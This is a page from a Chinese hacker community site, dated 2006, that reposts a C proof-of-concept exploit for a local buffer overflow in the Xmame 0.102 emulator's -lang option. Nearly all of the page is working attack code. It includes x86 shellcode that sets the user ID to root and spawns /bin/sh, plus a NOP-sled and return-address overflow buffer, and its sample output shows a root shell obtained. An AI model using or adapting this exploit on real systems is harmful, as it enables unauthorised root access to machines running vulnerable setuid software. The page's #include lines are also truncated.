中国红客基地
首 页 业界新闻 技术文档 服务器区 漏洞病毒 下载中心 红客教学 基地社区
天之道,利而不害。圣人之道,为而不争。信言不美,美言不信。善者不辩,辩者不善。知者不博,博者不知。
中国红客基地宣
 首 页  »  漏洞病毒  »  安全基础

Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code)


作者:中国红客基地   来源:中国红客基地    更新日期:2006-01-14    浏览次数:
 
简述:  Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code) 
 

 
/*
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
Qnix@bsdmail.org
#0x11 @EFNET
icq : 234263
0x11.org
Advisory : http://kerneltrap.org/node/6055

e.g:

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include
#include

#define BUFSIZE 1057
#define NS 600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

if(argc < 2 || argc != 2)
{
fprintf(stderr,"%s \n",argv[0]);
return(0);
}

fprintf(stdout,"**************************************************\n");
fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
fprintf(stdout,"Coded BY Qnix\n");
fprintf(stdout,"**************************************************\n\n");
fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout,"\t(~) Offset from ESP : 0x%x\n", offset);
fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(BUFSIZE);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < BUFSIZE; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < NS; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + NS;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[BUFSIZE-1] = 0;

execl(argv[1], "xmame.x11", "-lang", buffer, 0);

free(buffer);

return(0);

}

 

(责任编辑:swt914)
[推荐给朋友] [显示打印版本]
    相关文章
    相关评论

您的姓名:
评论内容:
 
网站简介 | 广告服务 | 友情连接 | 版权声明 | 网站地图 | 联系我们 | 程序支持
COPYRIGHT (c) 2004-2008 www.honkerbase.com ALL RIGHTS RESERVED.
联系方式:Email:swt914 AT honkerbase.com QQ:10121957 swt914.

京ICP备05010329号